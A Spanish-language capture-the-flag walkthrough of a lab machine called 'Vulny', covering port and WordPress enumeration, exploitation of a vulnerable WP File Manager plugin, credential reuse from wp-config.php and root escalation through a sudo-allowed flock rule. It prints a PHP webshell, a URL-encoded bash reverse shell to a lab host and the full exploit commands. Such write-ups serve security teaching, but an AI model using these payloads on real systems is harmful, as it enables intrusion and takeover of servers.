094 - Vulny - wh01s17

Enumeración de servicios

El objetivo expone Apache y un servicio MySQL X Protocol en 33060. Al no disponer de credenciales para la base de datos, comenzamos por enumerar el servidor web:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.32
❯ nmap -sCV -p80,33060 -oN 02-targeted.txt 192.168.1.32
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-04 13:32 -04
Nmap scan report for 192.168.1.32
Host is up (0.00028s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open  mysqlx?
Service Info: ...

Enumeración de WordPress

FFUF descubre /secret; la estructura wp-content y readme.html confirma que se trata de una instalación de WordPress:

❯ ffuf -u 'http://192.168.1.32/FUZZ' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -e php,txt,html,jpg,jpeg,gif,png
...
secret                  [Status: 301, ...]
...

❯ gobuster dir -u 'http://192.168.1.32/secret' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif -r
...
/wp-content           (Status: 200) [Size: 1752]
/readme.html          (Status: 200) [Size: 7368]
...

En wp-content/uploads/2020/10/ encontramos un ZIP que revela la presencia de WP File Manager 6.0. Esta versión está afectada por CVE-2020-25213, una Unrestricted File Upload RCE sin autenticación en el conector de elFinder. Searchsploit localiza el exploit y su modo de comprobación confirma la vulnerabilidad en el objetivo:

❯ searchsploit wp file manager
...
WordPress Plugin Wp-FileManager 6.8 - RCE | php/webapps/49178.sh
...

❯ ./49178.sh --wp_url http://192.168.1.32/secret --check
[+] Found wp-file-manager version: 6.0
[+] Version appears to be vulnerable
[+] Target: http://192.168.1.32/secret is vulnerable

Explotación de WP File Manager

Creamos una webshell que ejecuta el parámetro cmd y usamos el exploit para subirla sin autenticación al directorio público del plugin:

❯ cat pwned.php
<?php
    system($_GET['cmd']);
?>

❯ ./49178.sh --wp_url http://192.168.1.32/secret -f .../pwned.php --verbose
...
[+] W00t! W00t! File uploaded successfully.
Location:  /secret/wp-content/plugins/wp-file-manager/lib/php/../files/pwned.php
...

❯ curl 'http://192.168.1.32/secret/wp-content/plugins/wp-file-manager/lib/files/pwned.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

La respuesta de id confirma ejecución como www-data. Sustituimos el comando de prueba por una reverse shell codificada en URL y dejamos ncat escuchando:

http://192.168.1.32/secret/wp-content/plugins/wp-file-manager/lib/files/pwned.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.3/1234%200%3E%261%22

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.32:49686.
bash: cannot set terminal process group (652): Inappropriate ioctl for device
bash: no job control in this shell
<ress/wp-content/plugins/wp-file-manager/lib/files$

Exposición de credenciales y movimiento a `adrian`

wp-config.php contiene la cadena idrinksomewater. Durante la enumeración local identificamos la cuenta adrian y comprobamos si esa contraseña ha sido reutilizada para el usuario del sistema:

<ress/wp-content/plugins/wp-file-manager/lib/files$ cat /usr/share/wordpress/wp-config.php
...
/* idrinksomewater */
...

www-data@vulny:/home$ su adrian
Password: idrinksomewater
adrian@vulny:/home$

La contraseña funciona con su, lo que proporciona una sesión como adrian y acceso a la primera flag. sudo -l muestra que esta cuenta puede ejecutar flock como cualquier usuario sin contraseña:

adrian@vulny:~$ sudo -l
...
User adrian may run the following commands on vulny:
    (ALL : ALL) NOPASSWD: /usr/bin/flock

Escalada mediante `flock`

La regla es un Sudo-Allowed Program Abuse. flock recibe un archivo o directorio sobre el que tomar un bloqueo y, a continuación, el comando que debe ejecutar. Como se invoca mediante sudo, ese comando hereda privilegios de root; -u solicita liberar el bloqueo antes de lanzarlo:

adrian@vulny:~$ sudo flock -u / /bin/bash
root@vulny:/home/adrian#

El prompt root@vulny demuestra que /bin/bash heredó la identidad privilegiada y permite recuperar la flag final.